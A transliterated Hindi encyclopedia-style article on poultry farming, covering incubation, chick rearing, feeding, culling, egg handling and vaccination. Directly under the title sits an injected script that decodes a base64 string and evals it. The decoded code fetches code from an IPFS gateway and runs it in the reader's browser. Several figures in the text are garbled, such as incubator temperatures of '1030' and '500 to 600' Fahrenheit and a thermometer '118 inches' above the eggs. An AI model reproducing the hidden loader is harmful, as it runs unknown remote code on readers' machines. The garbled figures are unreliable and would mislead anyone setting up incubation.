कुक्कुट उत्पादन

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kukkut utpadan (paltri pharmig) khady pakshi hone ke karan kukkut ko log pahale gharoan mean palate the kiantu ab kukkut palan ne ek udyog ka roop dharan kar liya hai aur kukkut, unake chooje tatha aande bajar mean b de paimane par bikate haian. bharat mean isane pichhale das barah varshoan mean hi udyog ka roop dharan kiya hai kiantu abhi vah roop prapt nahian kar saka hai jo sansar mean anyatr dekhane mean ata hai.

udyog ke roop mean maans aur aande ke lie kukkut ke palan ke sath sath unaka adhikadhik utpadan ek anivary avashyakata hai aur isake lie achchhi nasl ke kukkut ka chunav aur suvyavastha avashyak hai. maans ke lie utpadan kie jane vale kukkutoan ke sanbandh mean avashyak hai ki

• ve svasth aur sashakt hoan.
• see jane ke kal mean tezike sath unake pankh nikalean aur das din ke hone par tezise unaki pooanchh badhe.
• ath saptah ki ayu hote hote pith par poore pankh ug aean.
• bajar jane ke samay tak unaki badh tivr gati se hoti rahe.
• sare avayav santulit hoan
• sare avayav maansal hoan. is prakar ke kukkut utpann karane ke lie utpadak sankar jati aur upajati ke kukkut utpann karane ka prayas karate haian.

aandoan ke utpadan ke lie uparyukt chhah batoan ke atirikt yah bhi avashyak hai ki

• unaka shighratishighr yaun vikas ho aur 150 se 170 din mean aande dene mean saksham ho jae.
• aande denevali murgiyaan kam se kam 15 aande prati mas dean.
• aanda dena aranbh karane ke samay se nirantar kam se kam das mas tak aande deti rahean.

in sab batoan par dhyan rakhate hue is desh ke kukkut utpadak deshi kukkutoan ki apeksha havait legaharn aur rode ailaiand red jati ke kukkutoan ka palan aur utpadan karate haian aur aandean, chooje tatha aande denevali murgiyaan prapt karane ke lie unhian ka palan aur utpadan karate haian. utpadan ka yah kary aanda sene ke kary se aranbh hota hai.

aandoan ka sena

iankyubeshan (Incubation) ka arth hai aande se bachcha nikalana. aande se 21 din ke bad bachcha nikalata hai. aande sene ki do vidhiyaan haian :

• murgi ke niche rakhakar prakritik dhang se tatha
• mashin dvara kritrim roop mean. chhote star par chalae jane vale udyog mean pahali vidhi barati jati hai aur b de star par chalane ke hetu mashinoan ka upayog kiya jata hai.

prakritik dhang se bachche nikalane ke lie svachchh, havadar tatha shaant vatavaranavale darabe mean saph suthari, ku dak murgi ke niche aande rakhane chahie. bithane ke lie aandoan ki sankhya murgi ke sharirik vistar aur mausam par nirbhar hai. garmi mean ek sadharan murgi ke niche 15 aande tak tatha ja de mean 10 aande tak rakhane chahie.

kritrim vidhi mean kritrim sene ki mashinoan (iankyubetaroan) dvara kam vyay tatha kam parishram se adhikadhik matra mean bachche nikale ja sakate haian. sene ki mashinean do prakar ki hoti haian : (1) chhoti, jinhean hava, laianp ya pankhe dvara garm kiya jata hai tatha (2) b di, jinamean garm hava pankhe dvara phailaee jati hai. pray: b di sen ki mashin mean bijali dvara hava garm ki jati hai aur pankhe bhi bijali se hi chalate haian.

sene ki mashin rakhane ka sthan, chalane ki vidhi tatha tap

ye mashinean aise sthan par rakhi jani chahie jahaan tap mean adhik parivartan n hota ho; sath hi vahaan par svachchh vayu ka avagaman bhi hota rahe. chalane se poorv seniyoan (sene ki mashinoan) ko kisi kitanunashak oshadhi se poornat: svachchh kar lena chahie. aande rakhane se do din poorv mashin ko chalakar tapaniyantran adi ka parikshan bhi kar lena chahie. chhoti seniyoan ka tap 1030 pha. tatha b di pankhevali seniyoan ka 99.50 pha. hona chahie. chhoti mashinoan mean tapamapi ka balb aandoan se 118 ianch oopar rahana chahie. ooancha tap 16 din ke pashchath‌ b da hanikarak siddh hota hai. seniyoan ke bhitar 60 pratishat sapeksh ardrata bhi apekshit hai. isake abhav mean aande shighr sookh jate haian aur bachchoan ko nikalane mean kathinaee hoti hai. thumb|250px

aandoan ka ulatana palatana

yadi aande palate n jayan to banata hua bachcha chhilake ke bhitar chipak jata hai, usaka vikas nahian ho pata aur vah vahian mar jata hai. isalie din mean kam-se-kam tin bar aandoan ko palatana chahie.

sete hue aandoan ki jaanch

laianp dvara ki jati hai. sat din sene ke pashchath‌ yah jnat ho jata hai ki kaun se aande jivarahit aur kaun mritak avastha mean haian. mrit aandoan ko hata dena chahie.

mashin se taiyar bachchoan ki nikalana

mashin (iankyubetar) se nikalane ke bad jab vah achchhi tarah se sookh jae tabhi bachchoan ko seni mashin se nikalakar ba doan mean savadhani se le jana chahie.

murgi ke bachchoan (chujjoan) ka palan

bachchoan ko palane ke pahale palanevali mashin (shavajanak , Brooder) ki thik se jaanch kar leni chahie. bachcha sene ki mashin, bachchoan ke lie paryapt sukhakar honi chahie.

har ja doan mean usamean thand adi pahuanchane ki sanbhavana n honi chahie. yoan yah mashin mitti ke tel ya bijali se garm ki jati hai, par kisi bhi mashin ko chunane se poorv yah dekh lena avashyak hai ki usamean pahuanchane ka dhang thik hai ya nahian. jaanch ke lie mashin ko ek do tak chalakar dekh lena chahie.

bachcha palane ki samany avashyakataean

bachchoan ki ayu prati bachche ke liye khane ka sthan prati 100 bachchoan ke liye pani pine ka sthan prati bachche ke liye bhoomi ki avashyakata palan ki mashin ka tap

din se 2 saptah tak 1 ianch ek gailanavale pani ke do bartan 1.2 varg phut 90 se 95 pha0

se 6 saptah tak 2 ianch tin gailanavale pani ke do bartan 3.4 varg phut prati saptah 5 kam kijie

saptah se 12 saptah tak 3 ianch paanch gailan pani ke do bartan 1 varg phut prati saptah 5 kam kijie

13 se 20 saptah tak 4 ianch paanch gailan pani ke do bartan 2 se 3 varg phut prati pakshi, jab mashin band rakhi jay prati saptah 5 kam kijie

jab bachche nikal aean to yah dekhana avashyak hai ki bachchoan ko garmi denevali mashin thik chale. mashin ke kinare par satah se do ianch oopar, ya bijali ke laianp ke niche, pahale do din tak tap 90-950 pha. hona chahie, phir prati saptah 50 kam karate chalean. jab tak bachchoan ke pankh thik se n nikal aean tab tak tap 750 pha. se kam n hona chahie.

bachchoan ka ahar

palane ki mashin mean rakhe hue bachchoan ke liye svachchh jal aur bhojan ki vyavastha honi chahie. pahale ath saptah tak bachchoan ko aisa bhojan dena chahie jisamean 18 se 22 pratishat tak protin ho. pahale ek do din unhean daliya diya jay taki unako dast n aean. ath saptah ke bad, jab tak murgiyaan aande n dene lagean, unaki badh badhanevala doosara ahar dena chahie. jab ve aande dene lagean to doosare dhang ka bhojan dena chahie.

murgiyoan ko khilane ke tin dhang hote haian :

• keval choorn mishran
• choorn mishran aur dana tatha
• choorn mishran ki goliyaan banakar dena. bhojan bhale hi kisi dhang se khilaya jae, kiantu vah santulit evan upayukt hona chahie aur jis ayu ke bachchoan ko khilaya tatha jis hetoo khilaya ja raha ho usake lie upayukt ho.

murgiyoan ko palana-bachchoan ko achchhe aande denevali murgiyaan banane ke hetu 8 se 12 saptah ke pashchath‌ unake ahar aur rahan-sahan mean parivartan karana p data hai. badhati huee murgiyoan ko palane ki do vidhiyaan haian :

• band gharoan mean (Confinement Rearing) tatha
• b de ba doan mean (Range Rearing). band gharoan mean palane se parishram bhi kam p data hai aur murgiyaan bhi adhik sankhya mean pali ja sakati hai. is dhang se pali janevali murgiyoan ko santulit ahar dene ki avashyakata p dati hai. yathesht sipi ka choora aur svachchh jal har samay ghar mean rahana chahie.
• b de ba doan mean kharch kam p data hai. ba doan mean unhean sasti kism ke gharoan mean rakhakar pala ja sakata hai. yadi ba doan mean hari ghas ho to is dhang se pali gee murgiyaan band gharoan mean pali gee murgiyoan se adhik svasth hoangi. achchhe ba de ki pahachan hai ki usamean paryapt ghas ho, pani bah jane ki vyavastha ho, bhoomi baluar domat ho tatha chhayadar pe d hoan. in suvidhaoan se sanpann ek ek d akar ke ba de mean 400-500 murgiyaan rakhi ja sakati haian. is tarah rakhane se ahar mean 5 pratishat bachat ho sakati hai.

chhaantana

aande denevale gharoan mean le jane se pahale murgiyoan ko kam karane ki avashyakata hoti hai. prajanan ya aanda dene vali murgiyaan badhiya honi chahie. at: kam badhanevali, tho de pankhoan vali ya chhoti murgiyoan ko chhaant dete haian.

aanda dene vali ya prajanan murgiyoan ki vyavastha-aanda denevali murgiyaan bhi kam umr ki murgiyoan ki bhaanti hi pali jati haian. yadi unhean band gharoan mean palana ho to prati 100 murgiyoan ke lie 350-400 varg phut sthan chahie. bhojan ka 32 phut lanba sthan, 50-60 phut lanbe adde 20 aanda dene ke kaksh (Nests) aur 25 pashakaksh (traipanest Trapnests), hone chahie. prati 100 murgiyoan ke lie 3 ya 5 aise bartan hone chahie jinamean pratyek mean 4 se 6 gailan tak pani a sake.

traip-nestiang

yahi ek dhang hai jisase yah jana ja sakata hai ki har murgi ne kitane aande die. pratidin traipanest karane mean b da kharch hota hai, par jahaan bahut shuddhavanshiy murgiyaan rakhi jati haian vahaan isaka karana zaroori hai. ek saptah mean paanch din traipanest karane se bhi kam chal sakata hai, par jahaan yah sanbhav n ho vahaan ja doan ke paanch mahinoan mean hi traipanest kar lena chahie. isase anuman ho jata hai ki murgi sal bhar mean kitani aande degi.

vayask murgiyoan ka chhaantana-kam umr ki murgiyaan jab apani adhikatam aanda dene ki sima par pahuanch jaean tab jaanchakar kam aanda dene vali murgiyoan ko chhaant dena chahie.

aanda dene vali murgiyoan ka sharir poorn vikasit ho tatha ve chau di aur phurtili hoan, unaka aanda dene ka sthan nam tatha phaila hua ho, choanch aur taangoan ka rang saphed ho, pankhe nuche hue maloom hoan aur paryapt aande dene ke bad pankh giraean tatha unamean pankh girane ki avadhi bahut kam ho, ne par jaldi nikalanevali hoan, aisi murgiyoan ko rakhana chahie.

jin murgiyoan ka sharir patala aur sust ho, aanda dene ka sthan sookha, chhota aur gol ho, choanch aur pair gahare pile hoan, dekhane mean saph suthari, chamakile pankhoanvali hoan aur tho de hi aande dene ke bad der tak par giraean, pet sakht tatha siku da hua ho, unhean nikal dena chahie.

pray: prajanan yogy murgiyoan mean jativishesh ke gun hone chahie. ve shighr aande dene lagean aur bina ru ke aanda deti rahean, ku dak n hone paean aur unake aande bhi akar mean b de hoan.

nar pakshi-aanda lene se do saptah pahale naroan ko murgiyoan ke sath chho d dena chahie. in murgoan ki vanshavali achchhi honi chahie. murga svasth evan phurtila ho. ek murga halki kism ki 12-15 murgiyoan ke liye paryapt hai. yadi murgiyaan bhari kism ki haian to 10 se 12 murgiyoan ke lie ek murga paryapt hai.

aande-do prakar ke hote haian :

• sene yogy
• khane yogy.

sene yogy aande achchhe prakar ke hone chahie. kharab aandoan se koee bhi mashin achchhe bachche utpann nahian kar sakati. achchhe aande pane ke lie murgiyaan svasth hoan tatha unhean achchha ahar dena chahie. sene ke lie b de tatha saph aande hi kam mean lane chahie. sene yogy aandoan ko 500 se 600 pha. tap par rakhana chahie tatha 80 pratishat nami (humidity) banae rakhani chahie. achchhe phal prapt karane ke lie aandoan ko sat din mean mashin ya murgi ke niche rakh dena chahie.

khane yogy aande

jab sene yogy aande lene hoan tabhi murge ko murgiyoan ke sath rakhana chahie, kyoanki upajaoo aandoan mean garmi se bachcha p d jata hai aur ve khane yogy nahian rahate. murge ko sath rakhe bina jo aande prapt hote haian ve anupajaoo aande, ya jinhean mashin dvara anupajaoo kar diya jata hai ve, adhik samay tak rakhe ja sakate haian. khane yogy aandoan ko durgandharahit, thandi, nam tatha saph jagah par rakhana chahie. aande ka chau da bhag oopar hona chahie. yadi aandoan ko ek saptah se adhik rakhana ho to kabhi-kabhi palatate rahana chahie.

saphaee tatha rogoan ki rokatham

saphal murgi utpadan ke lie saphaee bahut avashyak hai. darabe, ba de tatha pani adi ki saphaee par poora dhyan dena chahie taki kisi prakar ki chhoot ki bimari n phaile.

do pramukh rogoan, ranikhet aur murgichechak, se bachane ke lie murgiyoan ko chhah se ath saptah ki ayu par in rogoan ka tika lagavana chahie. samay samay par pet ke ki doan ko marane ki davaean deni chahie aur paroan se tatha murgiyoan me se bahy paropajiviyoan ko bhi dava se door karana chahie. samonella rog se bachane ke liye samay samay par khoon ki jaanch karana bhi avashyak hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh